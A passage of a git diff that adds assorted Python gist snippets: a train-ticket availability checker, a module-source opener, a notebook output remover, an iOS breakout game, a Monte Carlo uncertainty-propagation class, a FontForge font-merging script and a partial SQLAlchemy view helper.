+            text = urllib.request.urlopen(url).read().decode('utf-8')
+            regular = r'ze_num":"(\d+)'    ##ze_num指的是二等座的数量，其它座类似
+            seat_num = re.search(regular,text)
+            if seat_num:                
+                found = True
+                print(date,'有',seat_num.group(1),'票')
+                if not showOneTime:
+                    showOneTime = True
+                    winsound.Beep(2007, 6000)
+                    ctypes.windll.user32.MessageBoxW(0, '快去改签！！！！！！！！！！！！！', '有票啦!', 0)
+            date = date + timedelta(days=1)                    
+                
+fromM,fromD,toM,toD = 2,26,3,1
+str = '正在查找从%d月%d号到%d月%d号是否有从泉州到北京的票...' %(fromM,fromD,toM,toD)
+print(str)
+search(datetime.date(2015,fromM,fromD),datetime.date(2015,toM,toD))
+input()
\ No newline at end of file
diff --git a/hard-gists/5303446/._snippet.py b/hard-gists/5303446/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5303446/._snippet.py differ
diff --git a/hard-gists/5303446/snippet.py b/hard-gists/5303446/snippet.py
new file mode 100644
index 00000000..ee70ca59
--- /dev/null
+++ b/hard-gists/5303446/snippet.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+# coding: utf8
+
+import imp
+import sys, os
+
+module_name = sys.argv[1]
+bits = module_name.split('.')
+name = imp.find_module(bits[0])[1]
+if len(bits) > 1:
+    subname = os.path.join(*bits[1:])
+    dir_path = os.path.join(name, subname)
+else:
+    dir_path = name
+if os.path.exists(dir_path):
+    final_path = dir_path
+else:
+    py_path = dir_path + '.py'
+    if os.path.exists(py_path):
+        final_path = py_path
+    else:
+        print u'Module not found:\n%s\n%s\n' % (dir_path, py_path)
+        final_path = None
+if final_path:
+    cmd = "subl %s" % final_path
+    os.system(cmd)
diff --git a/hard-gists/5305869/._snippet.py b/hard-gists/5305869/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5305869/._snippet.py differ
diff --git a/hard-gists/5305869/snippet.py b/hard-gists/5305869/snippet.py
new file mode 100644
index 00000000..3fc2ea9a
--- /dev/null
+++ b/hard-gists/5305869/snippet.py
@@ -0,0 +1,28 @@
+"""
+Usage: python remove_output.py notebook.ipynb [ > without_output.ipynb ]
+Modified from remove_output by Minrk
+
+"""
+import sys
+import io
+import os
+from IPython.nbformat.current import read, write
+
+
+def remove_outputs(nb):
+    """remove the outputs from a notebook"""
+    for ws in nb.worksheets:
+        for cell in ws.cells:
+            if cell.cell_type == 'code':
+                cell.outputs = []
+
+if __name__ == '__main__':
+    fname = sys.argv[1]
+    with io.open(fname, 'r') as f:
+        nb = read(f, 'json')
+    remove_outputs(nb)
+    base, ext = os.path.splitext(fname)
+    new_ipynb = "%s_removed%s" % (base, ext)
+    with io.open(new_ipynb, 'w', encoding='utf8') as f:
+        write(nb, f, 'json')
+    print "wrote %s" % new_ipynb
\ No newline at end of file
diff --git a/hard-gists/5305895/._snippet.py b/hard-gists/5305895/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5305895/._snippet.py differ
diff --git a/hard-gists/5305895/snippet.py b/hard-gists/5305895/snippet.py
new file mode 100644
index 00000000..9c0a7213
--- /dev/null
+++ b/hard-gists/5305895/snippet.py
@@ -0,0 +1,302 @@
+# -*- coding: utf-8 -*-
+# Created by Sebastian Jarsve
+# 9. April 2013
+
+from scene import *
+from sound import play_effect
+from random import randint
+
+def centered_rect(x, y, w, h):
+	return Rect(x-w/2, y-h/2, w, h)
+
+class Field(object):
+	def __init__(self):
+		size = screen_size
+		left = 0
+		bottom = 0
+		right = screen_size.w
+		top = screen_size.h
+		self.lines = [(left, bottom, left, top), (left, top, right, top), (right, top, right, bottom)]
+		
+	def draw(self):
+		stroke_weight(4)
+		stroke(1,1,1)
+		for l in self.lines:
+			line(*l)
+
+
+class Player(object):
+	def __init__(self):
+		self.rect = centered_rect(screen_size.w/2, 50, 100, 20)
+		self.lives = 3
+		
+	def update(self):
+		self.rect.x += gravity().x * 50
+		self.rect.x = min(screen_size.w - 100, max(0, self.rect.x))
+			
+	def draw(self):
+		fill(1,1,1)
+		rect(*self.rect)
+
+
+class Ball(object):
+	def __init__(self):
+		self.rect = centered_rect(screen_size.w/2, 60, 20, 20)
+		self.vx = randint(-6, 6)
+		self.vy = 7
+		self.is_moving = False
+	
+	def collide_with_paddle(self, paddle):
+		if self.rect.intersects(paddle.rect):
+			self.rect.y = paddle.rect.top()
+			self.vy *= -1
+			pos = self.rect.center().x - paddle.rect.center().x
+			self.vx = pos/10
+			play_effect('Jump_3')
+			
+	def collide_with_block(self, block):
+		if self.rect.intersects(block.rect):
+			if self.rect.intersects(block.left):
+				self.rect.x = block.rect.left()-self.rect.w
+				self.vx = -abs(self.vx)
+			elif self.rect.intersects(block.right):
+				self.rect.x = block.rect.right()
+				self.vx = abs(self.vx)
+			elif self.rect.intersects(block.top):
+				self.rect.y = block.rect.top()
+				self.vy = abs(self.vy)
+			elif self.rect.intersects(block.bottom):
+				self.rect.y = block.rect.bottom()-self.rect.h
+				self.vy = -abs(self.vy)
+			return True
+	
+	def update(self, dt):
+		self.rect.x += self.vx + dt*10
+		self.rect.y += self.vy + dt*10
+		if self.rect.right() >= screen_size.w:
+			self.rect.x = screen_size.w - self.rect.w
+			self.vx *= -1
+			play_effect('Jump_5')
+		if self.rect.left() <= 0:
+			self.rect.x = 0
+			self.vx *= -1
+			play_effect('Jump_5')
+		if self.rect.top() >= screen_size.h:
+			self.rect.y = screen_size.h - self.rect.w
+			self.vy *= -1 
+			play_effect('Jump_5')
+	
+	def draw(self):
+		fill(1,1,0)
+		no_stroke()
+		ellipse(*self.rect)
+		
+		
+class Block(object):
+	def __init__(self, x, y, w, mode=1):
+		self.size = Size(w, 30)
+		self.rect = Rect(x, y, *self.size)
+		self.mode = mode
+		if self.mode > 1:
+			self.colour = (0.70, 0.70, 0.70)
+		else: 
+			self.colour = (1,0,0)
+		
+		top = self.rect.top()
+		left = self.rect.left()
+		right = self.rect.right()
+		bottom = self.rect.bottom()
+		
+		self.left = Rect(left-5, bottom+5, 5, top-bottom-10)
+		self.right = Rect(right, bottom+5, 5, top-bottom-10)
+		self.bottom = Rect(left, bottom, right-left, 5)
+		self.top = Rect(left, top-5, right-left, 5)
+		
+	def draw_sides(self):
+		fill(0,1,0)
+		rect(*self.left)
+		rect(*self.right)
+		rect(*self.top)
+		rect(*self.bottom)
+		
+	def draw(self):
+		stroke_weight(1)
+		#no_stroke()
+		fill(*self.colour)
+		rect(*self.rect)
+		#self.draw_sides()
+		
+		
+def random_level(n=7, t=13):
+	level = []
+	for i in range(n):
+		level.append([])
+		for j in range(t):
+			level[i].append(randint(0, 1))
+	return level
+		
+level = [
+         	[[1, 1, 1],
+           	 [1, 1, 1],
+           	 [1, 1, 1],
+           	 [1, 1, 1],
+           	 [1, 1, 1]],
+			 
+			[[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
+			 [0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0],
+			 [0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0],
+			 [0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0],
+			 [0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0],
+			 [0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0],
+			 [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0]],
+			 
+			[[0, 0, 1, 1, 1, 1, 1, 1, 0, 0],
+			 [0, 1, 1, 0, 0, 0, 0, 1, 1, 0],
+			 [0, 0, 1, 1, 1, 1, 1, 1, 0, 0],
+			 [0, 0, 1, 1, 1, 1, 1, 1, 0, 0],
+			 [0, 1, 1, 0, 0, 0, 0, 1, 1, 0],
+			 [0, 0, 1, 1, 1, 1, 1, 1, 0, 0]],
+
+			[[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
+			 [1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1],
+			 [1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1],
+			 [1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1], 
+			 [1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1],
+			 [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]],
+			 
+			[[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
+			 [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
+			 [1, 				2, 				  1],
+			 [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]],
+			 
+			[[1, 1, 1, 1, 1, 1, 1, 1],
+			 [1, 1, 1, 1, 1, 1, 1, 1],
+			 [2, 2, 2, 0, 0, 2, 2, 2]],
+			 
+			 random_level()
+		]
+
+class Game(Scene):
+	def setup(self):
+		self.level = 1
+		self.field = Field()
+		self.player = Player()
+		self.ball = Ball()
+		self.blocks = []
+		self.spawn_blocks()
+		
+	def spawn_blocks(self):
+		self.solid_blocks = []
+		if self.level > len(level):
+			lvl = len(level)-1
+		else: 
+			lvl = self.level-1
+		for y in range(len(level[lvl])):
+			for x in range(len(level[lvl][y])):
+				w = screen_size.w/len(level[lvl][y])
+				mode = level[lvl][y][x]
+				if level[lvl][y][x] == 1:
+					self.blocks.append(Block(x * w, screen_size.h - (y*30+90),
+					                         w, mode))
+				elif level[lvl][y][x] == 2:
+					self.solid_blocks.append(Block(x * w, screen_size.h - (y*30+90),
+					                               w, mode))
+	
+	def draw(self):
+		removed_blocks = set()
+
+		text('Lives: {0}'.format(self.player.lives), x=screen_size.w-45, y=screen_size.h-40)
+		text('Level: {0}'.format(self.level), x=45, y=screen_size.h-45)
+		
+		self.field.draw()
+		
+		self.player.draw()
+		self.player.update()
+		
+		self.ball.draw()
+		if self.ball.is_moving:
+			self.ball.update(self.dt)
+			self.ball.collide_with_paddle(self.player)
+		else: 
+			self.ball.rect.center(self.player.rect.center().x, self.player.rect.top()+10)
+			self.ball.line = (0, 0, 0, 0)
+		if self.ball.rect.top() < 0:
+			self.player.lives -= 1
+			self.ball.is_moving = False
+			
+		for block in self.blocks:
+			block.draw()
+			if self.ball.is_moving:
+				if self.ball.collide_with_block(block):
+					removed_blocks.add(block)
+					play_effect('Hit_3')
+					
+		for solid_block in self.solid_blocks:
+			solid_block.draw()
+			if self.ball.is_moving:
+				if self.ball.collide_with_block(solid_block):
+					play_effect('Ding_1')
+				
+		for removed_block in removed_blocks:
+			self.blocks.remove(removed_block)
+			
+		if len(self.blocks) == 0:
+			self.ball.is_moving = False
+			self.level += 1
+			self.spawn_blocks()
+			if self.level >= len(level):
+				level[-1] = random_level()
+				self.spawn_blocks()
+		
+		if self.player.lives == 0:
+			main_scene.switch_scene(GameOver())
+	
+	def touch_began(self, touch):
+		if not self.ball.is_moving:
+			self.ball.is_moving = True
+			
+			
+class GameOver(Scene):
+	def setup(self):
+		self.field = Field()
+		self.button = Button(Rect(screen_size.w/2-100, screen_size.h/2-50, 200, 100), 'Restart')
+		self.button.action = self.restart
+		self.add_layer(self.button)
+	
+	def restart(self):
+		main_scene.switch_scene(Game())
+		
+	def draw(self):
+		self.field.draw()
+		self.button.draw()
+		no_tint()
+		text('Game Over', x=screen_size.w/2, y=screen_size.h/4*3, font_size=64)
+		
+		
+class MultiScene(Scene):
+	def __init__(self, start_scene):
+		self.active_scene = start_scene
+		run(self, PORTRAIT)
+	def switch_scene(self, new_scene):
+		self.active_scene = new_scene
+		self.setup()
+	def setup(self):
+		global screen_size
+		screen_size = self.size
+		self.active_scene.add_layer = self.add_layer
+		self.active_scene.size = self.size
+		self.active_scene.bounds = self.bounds
+		self.active_scene.setup()
+	def draw(self):
+		background(0.00, 0.25, 0.50)
+		self.active_scene.touches = self.touches
+		self.active_scene.dt = self.dt
+		self.active_scene.draw()
+	def touch_began(self, touch):
+		self.active_scene.touch_began(touch)
+	def touch_moved(self, touch):
+		self.active_scene.touch_moved(touch)
+	def touch_ended(self, touch):
+		self.active_scene.touch_ended(touch)
+		
+main_scene = MultiScene(Game())
\ No newline at end of file
diff --git a/hard-gists/5307284/._snippet.py b/hard-gists/5307284/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5307284/._snippet.py differ
diff --git a/hard-gists/5307284/snippet.py b/hard-gists/5307284/snippet.py
new file mode 100644
index 00000000..8603a6b3
--- /dev/null
+++ b/hard-gists/5307284/snippet.py
@@ -0,0 +1,463 @@
+"""
+The worst possible way to propagate uncertainties.
+"""
+
+import numpy as np
+from scipy.stats import scoreatpercentile as sap
+
+n = 1024
+uplaces = 1 # the argument is that you generally only know your uncerts to 1 place
+udtype = np.double
+
+def _usable (q):
+    if isinstance (q, Uval):
+        return q.d
+    return q
+
+def _wrap (d):
+    r = Uval (noinit=True)
+    r.d = d
+    return r
+
+def _maybewrap (result, *inputs):
+    for q in inputs:
+        if isinstance (q, Uval):
+            r = Uval (noinit=True)
+            r.d = result
+            return r
+    return result
+
+
+# Freestanding functions for which either argument can be anything
+# numeric-friendly. Implementing (much of) the numpy standard functions.
+# http://docs.scipy.org/doc/numpy/reference/routines.math.html
+
+# No support for out= parameters right now. If implemented, it seems tricky
+# to get the semantics right so add (1, 2).__class__ == int.
+
+def sin (q):
+    return _maybewrap (np.sin (_usable (q)), q)
+
+def cos (q):
+    return _maybewrap (np.cos (_usable (q)), q)
+
+def tan (q):
+    return _maybewrap (np.tan (_usable (q)), q)
+
+# skipped: arcsin arccos arctan hypot arctan2 degrees radians
+# unwrap deg2rad rad2deg sinh cosh tanh arcsinh arccosh arctanh
+# around round_ rint fix floor ceil trunc
+
+def exp (q):
+    return _maybewrap (np.exp (_usable (q)), q)
+
+def expm1 (q):
+    return _maybewrap (np.expm1 (_usable (q)), q)
+
+def exp2 (q):
+    return _maybewrap (np.exp2 (_usable (q)), q)
+
+def log (q):
+    return _maybewrap (np.log (_usable (q)), q)
+
+def log10 (q):
+    return _maybewrap (np.log10 (_usable (q)), q)
+
+def log2 (q):
+    return _maybewrap (np.log2 (_usable (q)), q)
+
+def log1p (q):
+    return _maybewrap (np.log1p (_usable (q)), q)
+
+# skipped: logaddexp logaddexp2 i0 sinc signbit copysign frexp
+# ldexp
+
+def add (left, right):
+    return _maybewrap (_usable (left) + _usable (right), left, right)
+
+def reciprocal (q):
+    return _maybewrap (np.reciprocal (_usable (q)), q)
+
+def negative (q):
+    return _maybewrap (np.negative (_usable (q)), q)
+
+def multiply (left, right):
+    return _maybewrap (_usable (left) * _usable (right), left, right)
+
+def divide (left, right):
+    return _maybewrap (_usable (left) / _usable (right), left, right)
+
+def power (left, right):
+    return _maybewrap (_usable (left) ** _usable (right), left, right)
+
+def subtract (left, right):
+    return _maybewrap (_usable (left) - _usable (right), left, right)
+
+def true_divide (left, right):
+    return _maybewrap (np.true_divide (_usable (left), _usable (right)),
+                       left, right)
+
+def floor_divide (left, right):
+    return _maybewrap (_usable (left) // _usable (right), left, right)
+
+# skipped: fmod mod modf remainder angle real imag conj
+# convolve clip
+
+def sqrt (q):
+    return _maybewrap (np.sqrt (_usable (q)), q)
+
+def square (q):
+    return _maybewrap (np.square (_usable (q)), q)
+
+def absolute (q):
+    return _maybewrap (np.absolute (_usable (q)), q)
+
+def fabs (q):
+    return _maybewrap (np.fabs (_usable (q)), q)
+
+# skipped: sign maximum minimum
+
+# Utilities that aren't standard math functions.
+
+def bestval (q):
+    if not isinstance (q, Uval):
+        return q
+
+    # http://www.roma1.infn.it/~dagos/asymmetric/node2.html says that the
+    # "best" value is the barycenter of the distribution, i.e. the mean of our
+    # samples (right?), not the median. TODO: investigate.
+
+    return sap (q.d, 50.000)
+
+
+def stdval (q):
+    if not isinstance (q, Uval):
+        return 0.0
+
+    # TODO: figure out how to handle asymmetric error distributions! Should
+    # pay attention to where this function is actually used to think about
+    # the semantics that'd be the most helpful.
+
+    return 0.5 * (sap (q.d, 84.134) - sap (q.d, 15.866))
+
+
+def ufmt (q):
+    if not isinstance (q, Uval):
+        return '%g' % q
+
+    # Same potential issue re: median-taking as mentioned above.
+
+    lo = sap (q.d, 15.866)
+    md = sap (q.d, 50.000)
+    hi = sap (q.d, 84.134)
+
+    if hi == lo:
+        return '%g' % lo
+
+    # Deltas. Round to limited # of places because we don't actually know the
+    # fourth moment of the thing we're trying to describe.
+
+    from numpy import abs, ceil, floor, log10
+
+    dh = hi - md
+    dl = md - lo
+
+    p = int (ceil (log10 (dh)))
+    rdh = round (dh * 10**(-p), uplaces) * 10**p
+    p = int (ceil (log10 (dl)))
+    rdl = round (dl * 10**(-p), uplaces) * 10**p
+
+    # The least significant place to worry about is the L.S.P. of one of the
+    # deltas, which is also its M.S.P. since we've just rounded them. Any
+    # precision in the datum beyond this point is false.
+
+    lsp = int (floor (log10 (min (rdh, rdl))))
+
+    # We should round the datum since it might be something like 0.999+-0.1 and
+    # we're about to try to decide what its most significant place is. Might get
+    # -1 rather than 0.
+
+    rmd = round (md, -lsp)
+
+    if rmd == -0.: # 0 = -0, too, but no problem there.
+        rmd = 0.
+
+    # The most significant place to worry about is the M.S.P. of any of the
+    # datum or the deltas. rdl and rdl must be positive, but not necessarily
+    # rmd.
+
+    msp = int (floor (log10 (max (abs (rmd), rdh, rdl))))
+
+    # If we're not very large or very small, don't use scientific notation.
+
+    if msp > -3 and msp < 3:
+        srdh = '%.*f' % (-lsp, rdh)
+        srdl = '%.*f' % (-lsp, rdl)
+
+        if srdh == srdl:
+            return '%.*fpm%s [%e %e %e]' % (-lsp, rmd, srdh, lo, md, hi)
+        return '%.*fp%sm%s [%e %e %e]' % (-lsp, rmd, srdh, srdl, lo, md, hi)
+
+    # Use scientific notation. Adjust values, then format.
+
+    armd = rmd * 10**-msp
+    ardh = rdh * 10**-msp
+    ardl = rdl * 10**-msp
+    prec = msp - lsp
+
+    sardh = '%.*f' % (prec, ardh)
+    sardl = '%.*f' % (prec, ardl)
+
+    if sardh == sardl:
+        return '(%.*fpm%s)e%d [%e %e %e]' % (prec, armd, sardh, msp, lo, md, hi)
+
+    return '(%.*fp%sm%s)e%d [%e %e %e]' % (prec, armd, sardh, sardl, msp, lo, md, hi)
+
+
+# A utility that we need for uneven error bounds. It does not appear to be
+# possible to determine the needed parameters analytically.
+#
+# I spend a loooooong time trying to get identical logic to work with
+# scipy.optimize. For some reason it never converged on sensible parameter
+# values.
+
+def findskewparams (mid, dhigh, dlow):
+    from skewt import skewnorm
+    from lsqmdl import Model
+
+    assert dhigh > 0
+    assert dlow < 0
+
+    # we pass sqrt(scale) to the optimizer so that we can ensure the
+    # positivity of scale itself in a simple way.
+
+    def model (x, loc, rtsc, shape):
+        return skewnorm.ppf (x, shape, loc=loc, scale=rtsc**2)
+
+    x = [0.15866, 0.5, 0.84134]
+    y = np.asarray ([mid + dlow, mid, mid + dhigh])
+    guess = [mid, np.sqrt (0.5 * (dhigh - dlow)), 0.5 * (dhigh + dlow)]
+    m = Model (model, x, y).solve (guess)
+    return m.params[0], m.params[1]**2, m.params[2]
+
+
+# The class.
+
+def asuval (q):
+    if isinstance (q, Uval):
+        return q
+    r = Uval (noinit=True)
+    r.d = np.empty (n, dtype=udtype)
+    r.d[:] = q
+    return
+
+
+def fromfixed (v):
+    return Uval ().fromfixed (v)
+
+def fromnorm (val, uncert):
+    return Uval ().fromnorm (val, uncert)
+
+def fromunif (lower_incl, upper_excl):
+    return Uval ().fromunif (lower_incl, upper_excl)
+
+def fromskew (val, dhigh, dlow):
+    return Uval ().fromskew (val, dhigh, dlow)
+
+
+class Uval (object):
+    d = None
+
+    def __init__ (self, noinit=False):
+        if not noinit:
+            # Precisely zero.
+            self.d = np.zeros (n, dtype=udtype)
+
+    def fromfixed (self, v):
+        self.d.fill (v)
+        return self
+
+    def fromnorm (self, val, uncert):
+        assert uncert >= 0
+        self.d[:] = np.random.normal (val, uncert, n)
+        return self
+
+    def fromunif (self, lower_incl, upper_excl):
+        assert upper_excl > lower_incl
+        self.d[:] = np.random.uniform (lower_incl, upper_excl, n)
+        return self
+
+    def fromskew (self, val, dhigh, dlow):
+        assert dhigh > 0
+        assert dlow < 0
+        from skewt import skewnorm
+
+        loc, scale, shape = findskewparams (val, dhigh, dlow)
+        self.d[:] = skewnorm.rvs (shape, loc=loc, scale=scale, size=n)
+        return self
+
+    # text
+
+    def __str__ (self):
+        return ufmt (self)
+
+    def __repr__ (self):
+        # XXX not quite appropriate -- temp hack
+        return ufmt (self)
+
+    # math -- http://docs.python.org/2/reference/datamodel.html#emulating-numeric-types
+
+    def __add__ (self, other):
+        return _wrap (self.d + _usable (other))
+
+    def __sub__ (self, other):
+        return _wrap (self.d - _usable (other))
+
+    def __mul__ (self, other):
+        return _wrap (self.d * _usable (other))
+
+    def __floordiv__ (self, other):
+        return _wrap (self.d // _usable (other))
+
+    def __mod__ (self, other):
+        return _wrap (self.d % _usable (other))
+
+    def __divmod__ (self, other):
+        return _wrap (divmod (self.d, _usable (other)))
+
+    def __pow__ (self, other, modulo=None):
+        if modulo is None:
+            return _wrap (pow (self.d, _usable (other)))
+        return _wrap (pow (self.d, _usable (other), _usable (modulo)))
+
+    # skipped: lshift, rshift, and, xor, or
+
+    def __div__ (self, other):
+        return _wrap (self.d.__div__ (_usable (other)))
+
+    def __truediv__ (self, other):
+        return _wrap (self.d.__truediv__ (_usable (other)))
+
+    def __radd__ (self, other):
+        return _wrap (_usable (other) + self.d)
+
+    def __rsub__ (self, other):
+        return _wrap (_usable (other) - self.d)
+
+    def __rmul__ (self, other):
+        return _wrap (_usable (other) * self.d)
+
+    def __rdiv__ (self, other):
+        return _wrap (self.d.__rdiv__ (_usable (other)))
+
+    def __rtruediv__ (self, other):
+        return _wrap (_usable (other).__rtruediv__ (self.d))
+
+    def __rfloordiv__ (self, other):
+        return _wrap (_usable (other) // self.d)
+
+    def __rmod__ (self, other):
+        return _wrap (_usable (other) % self.d)
+
+    def __rdivmod__ (self, other):
+        return _wrap (divmod (_usable (other), self.d))
+
+    def __rpow__ (self, other):
+        return _wrap (_usable (other)**self.d)
+
+    # skipped: rlshift, rrshift, rand, rxor, ror
+
+    def __iadd__ (self, other):
+        self.d += _usable (other)
+        return self
+
+    def __isub__ (self, other):
+        self.d -= _usable (other)
+        return self
+
+    def __imul__ (self, other):
+        self.d *= _usable (other)
+        return self
+
+    def __idiv__ (self, other):
+        self.d *= _usable (other)
+        return self
+
+    def __itruediv__ (self, other):
+        self.d.__itruediv__ (_usable (other))
+        return self
+
+    def __ifloordiv__ (self, other):
+        self.d //= _usable (other)
+        return self
+
+    def __imod__ (self, other):
+        self.d %= _usable (other)
+        return self
+
+    def __ipow__ (self, other, modulo=None):
+        if modulo is None:
+            self.d **= _usable (other)
+        else:
+            self.d.__ipow__ (_usable (other), _usable (modulo))
+        return self
+
+    # skipped: ilshift, irshift, iand, ixor, ior
+
+    def __neg__ (self):
+        self.d = -self.d
+        return self
+
+    def __pos__ (self):
+        self.d = +self.d
+        return self
+
+    def __abs__ (self):
+        self.d = np.abs (self.d)
+        return self
+
+    def __invert__ (self):
+        self.d = ~self.d
+        return self.d
+
+    def __complex__ (self):
+        # TODO: allow if we're actually a precise scalar, and suggest
+        # a method that gives the median.
+        raise TypeError ('uncertain value cannot be reduced to a complex scalar')
+
+    def __int__ (self):
+        raise TypeError ('uncertain value cannot be reduced to an integer scalar')
+
+    def __long__ (self):
+        raise TypeError ('uncertain value cannot be reduced to a long-integer scalar')
+
+    def __float__ (self):
+        raise TypeError ('uncertain value cannot be reduced to a float scalar')
+
+    # skipped: oct, hex, index, coerce
+
+    def __lt__ (self, other):
+        raise TypeError ('uncertain value does not have a well-defined "<" comparison')
+
+    def __le__ (self, other):
+        raise TypeError ('uncertain value does not have a well-defined "<" comparison')
+
+    def __eq__ (self, other):
+        raise TypeError ('uncertain value does not have a well-defined "==" comparison')
+
+    def __ne__ (self, other):
+        raise TypeError ('uncertain value does not have a well-defined "!=" comparison')
+
+    def __gt__ (self, other):
+        raise TypeError ('uncertain value does not have a well-defined ">" comparison')
+
+    def __ge__ (self, other):
+        raise TypeError ('uncertain value does not have a well-defined ">=" comparison')
+
+    def __cmp__ (self, other):
+        raise TypeError ('uncertain value does not have a well-defined __cmp__ comparison')
+
+    __hash__ = None
+
+    def __nonzero__ (self):
+        raise TypeError ('uncertain value does not have a well-defined boolean value')
diff --git a/hard-gists/530c20924768ce180923/._snippet.py b/hard-gists/530c20924768ce180923/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/530c20924768ce180923/._snippet.py differ
diff --git a/hard-gists/530c20924768ce180923/snippet.py b/hard-gists/530c20924768ce180923/snippet.py
new file mode 100644
index 00000000..ff9b5694
--- /dev/null
+++ b/hard-gists/530c20924768ce180923/snippet.py
@@ -0,0 +1,97 @@
+#!/usr/bin/env fontforge -lang=py -script
+# -*- coding: utf-8 -*-
+
+import fontforge
+from datetime import date
+
+# Open Sans のあるディレクトリのパス
+opensans_path = "./Open_Sans"
+
+# M+ のあるディレクトリのパス
+mplus_path = "./mplus"
+
+# 小瑠璃フォントを生成するディレクトリのパス
+# 同じディレクトリに一時ファイルも生成される
+koruri_path = "./Koruri"
+
+# フォントリスト
+# Open Sans ファイル名, M+ ファイル名, 小瑠璃 ウェイト
+font_list = [
+    ("OpenSans-Light.ttf", "mplus-1p-light.ttf", "Light"),
+    ("OpenSans-Regular.ttf", "mplus-1p-regular.ttf", "Regular"),
+    ("OpenSans-Semibold.ttf", "mplus-1p-medium.ttf", "Semibold"),
+    ("OpenSans-Bold.ttf", "mplus-1p-bold.ttf", "Bold"),
+    ("OpenSans-Extrabold.ttf", "mplus-1p-heavy.ttf", "Extrabold"),
+]
+
+def main():
+    # バージョンを今日の日付から生成する
+    today = date.today()
+    version = "Koruri-{0}".format(today.strftime("%Y%m%d"))
+
+    for (op, mp, weight) in font_list:
+        op_path = "{0}/{1}".format(opensans_path, op)
+        mp_path = "{0}/{1}".format(mplus_path, mp)
+        ko_path = "{0}/Koruri-{1}.ttf".format(koruri_path, weight)
+        generate_koruri(op_path, mp_path, ko_path, weight, version)
+
+def koruri_sfnt_names(weight, version):
+    return (
+        ('English (US)', 'Copyright',
+         '''\
+         Koruri: Copylight (c) 2013-2014, lindwurm.
+
+         M+ 1p: Copyright (C) 2002-2014, M+ FONTS PROJECT.
+         Open Sans: Copyright (c) 2010-2011, Google Corporation.'''),
+        ('English (US)', 'Family', 'Koruri {0}'.format(weight)),
+        ('English (US)', 'SubFamily', weight),
+        ('English (US)', 'Fullname', 'Koruri-{0}'.format(weight)),
+        ('English (US)', 'Version', version),
+        ('English (US)', 'PostScriptName', 'Koruri-{0}'.format(weight)),
+        ('English (US)', 'Vendor URL', 'http://koruri.lindwurm.biz'),
+        ('English (US)', 'Preferred Family', 'Koruri'),
+        ('English (US)', 'Preferred Styles', weight),
+        ('Japanese', 'Preferred Family', 'Koruri'),
+        ('Japanese', 'Preferred Styles', weight),
+    )
+
+def koruri_gasp():
+    return (
+        (8, ('antialias',)),
+        (13, ('antialias', 'symmetric-smoothing')),
+        (65535, ('gridfit', 'antialias', 'symmetric-smoothing', 'gridfit+smoothing')),
+    )
+
+def generate_koruri(op_path, mp_path, ko_path, weight, version):
+    # M+ を開く
+    font = fontforge.open(mp_path)
+
+    # EMの大きさを2048に設定する
+    font.em = 2048
+
+    # Open Sans を開く
+    opfont = fontforge.open(op_path)
+
+    # Open Sans に含まれるグリフを削除する
+    font.selection.none()
+    opfont.selection.all()
+    for glyph in opfont.selection.byGlyphs:
+        if glyph.glyphname in font:
+            font.selection.select(("more",), glyph.glyphname)
+    font.clear()
+        
+    # Open Sans をマージする
+    font.mergeFonts(op_path)
+
+    # フォント情報の設定
+    font.sfnt_names = koruri_sfnt_names(weight, version)
+    font.os2_vendor = "maud"
+
+    # Grid Fittingの設定
+    font.gasp = koruri_gasp()
+
+    # TTF の生成
+    font.generate(ko_path, '', ('short-post', 'opentype', 'PfEd-lookups'))
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/5310037/._snippet.py b/hard-gists/5310037/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5310037/._snippet.py differ
diff --git a/hard-gists/5310037/snippet.py b/hard-gists/5310037/snippet.py
new file mode 100644
index 00000000..9334ea20
--- /dev/null
+++ b/hard-gists/5310037/snippet.py
@@ -0,0 +1,132 @@
+from operator import attrgetter
+
+from sqlalchemy import Table, event, subquery
+from sqlalchemy.ext.compiler import compiles
+from sqlalchemy.engine.reflection import Inspector
+from sqlalchemy.schema import DDLElement
+from sqlalchemy.sql.expression import Executable, ClauseElement
+
+from yeepa.common.util import monkey_patch
+from yeepa.backend.models import DBSession, metadata, Base, read_only_metadata
+
+# TODO: rework as per the comments on: http://www.sqlalchemy.org/trac/ticket/2690
+# REFACT: override __new__ and ensure that the read_only_metadata is used
+class ReflectedTable(Table):
+    "Never create or drop this table type, as it represents something the ORM does not manage. Also ensure that you always use the read_only_metadata for these tables."
+
+
+# REFACT: would be nice if one wouldn't have to instantiate the views to make them known, but the metaclass magic still baffles me, so I'm staying away from it
+# REFACT: would be nice to extract this into it's own module that we could depend on
+# REFACT: make this something more akin to the table object or the declarative table, no idea how to do that though. :)
+class View(object):
+    """Only supports queries that have no parameters. 
+    Use literal_column() to embedd constants as needed."""
+    
+    name=None
+    on=None
+    query=None
+    _table=None
+    
+    def __init__(self, name=None, on=None, query=None, table=None):
+        if name is not None:
+            self.name = name
+        if on is not None:
+            self.on = on
+        if not isinstance(self.on, tuple):
+            self.on = (self.on, )
+        if query is not None:
